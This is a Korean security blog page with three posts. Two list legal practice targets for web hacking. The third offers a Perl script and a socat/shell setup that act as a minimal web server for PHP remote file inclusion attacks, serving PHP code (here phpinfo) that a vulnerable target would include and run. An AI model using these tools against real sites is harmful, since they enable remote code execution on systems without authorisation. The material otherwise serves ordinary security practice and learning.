test and Demonstration site

security 2010. 1. 25. 04:10

http://demo.testfire.net/feedback.aspx
http://test.acunetix.com/categories.php

'security' 카테고리의 다른 글

war Game site -  (0) 2010.04.28
각 port 번호 별 설명  (1) 2010.03.25
port  (0) 2010.01.27
Hack & tools  (0) 2010.01.25
Hacking Without All the Jailtime  (0) 2010.01.25
:

Hacking Without All the Jailtime

security 2010. 1. 25. 04:00

http://ha.ckers.org/blog/20090406/hacking-without-all-the-jailtime/

Hacking Without All the Jailtime

There’s been more and more legislation put in place to try to discourage hacking in general, and even tool development. Not that I think it’ll lead to many prosecutions anywhere, but nevertheless, it’s always nice to have a place to test. I got an email from one of my readers asking about the hackme series:

Hello and thank you for an awesome blog, and a daily read.

I while back you mentioned some “ready-made” websites that were used in the web app sec sphere to test scanners and specific tools. More specifically you mentioned 2, one of which that was somewhat depreciated, but still had some educational value. I’ve been looking though your posts, but I have had no success finding this entry.

I’ll do one better - here’s a short list I compiled that includes a lot of the more popular tools for ethical testing, without all the muss and fuss of prison time. If you want to hone your skills or just have some fun at work, try these out (in no particular order):

If there are others that should be added to this list, please drop me a line and I’ll add them. I hope everyone had a good April 1st and that insurance covers whatever was damaged. 

'security' 카테고리의 다른 글

war Game site -  (0) 2010.04.28
각 port 번호 별 설명  (1) 2010.03.25
port  (0) 2010.01.27
Hack & tools  (0) 2010.01.25
test and Demonstration site  (0) 2010.01.25
:

PHP remote include 공격시 사용툴

web/include 2010. 1. 21. 02:28

PHP remote include 공격시 사용툴

PHP remote include 공격시 별도의 웹 서버를 올릴 필요 없이 간단히 공격하는 툴.
Fedora에서 netcat이 Original netcat과 다른 동작을 보여서(아마 GNU netcat인 듯) 올려둔다.
 

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $open_file="./info.php";

sub Wait {
  wait;           #wait needed to keep <defunct> pids from building up
}

$SIG{CHLD} = \&Wait;

my $server = IO::Socket::INET->new(LocalPort => 8080,
                                   Type => SOCK_STREAM,
                                   Reuse => 1,
                                   Listen => 10) or die "$@\n";
my $client ;

while ( $client = $server->accept()) {
  next if my $pid = fork;
  die "fork - $!\n" unless defined $pid;

  select $client;
  $_ = 1;
  print $client "HTTP/1.0 200 OK\r\n";
  print $client "Content-type: text/html\r\n\r\n";

  #  print $client '<?php phpinfo(); ?>';
  open(FH, "<$open_file");
  $| = 1;
  my @lines=<FH>;
  foreach (@lines) {
    print $_;
  }
  close(FH);

  close($client);
  exit( fork );
} continue {
  close($client);               #kills hangs
  kill CHLD => -$$;
}


자체적으로 웹 서버 역할을 하며 소스를 변경하면 포트 변경, 실행 가능한 명령어 변경 가능함.

혹은 socat이 사용가능하다면 아래와 같이 할 수 있음.
아래와 같은 shell script를 php_inc_ex.sh로 저장하여 chmod 755 php_inc_ex.sh한 후 주석과 같이 실행 함.

#!/bin/sh
# socat TCP4-LISTEN:8080,fork EXEC:./php_inc_ex.sh

echo "HTTP/1.0 200 OK";
echo "Content-type: text/html";
echo "";
echo '<?php phpinfo(); ?>';

 

주의사항: shell script의 경우 직접 출력이나 here 문을 이용한 출력은 문제가 없는데, 다른 파일을 읽어서 출력하는 경우 broken pipe가 많이 발생한다.

: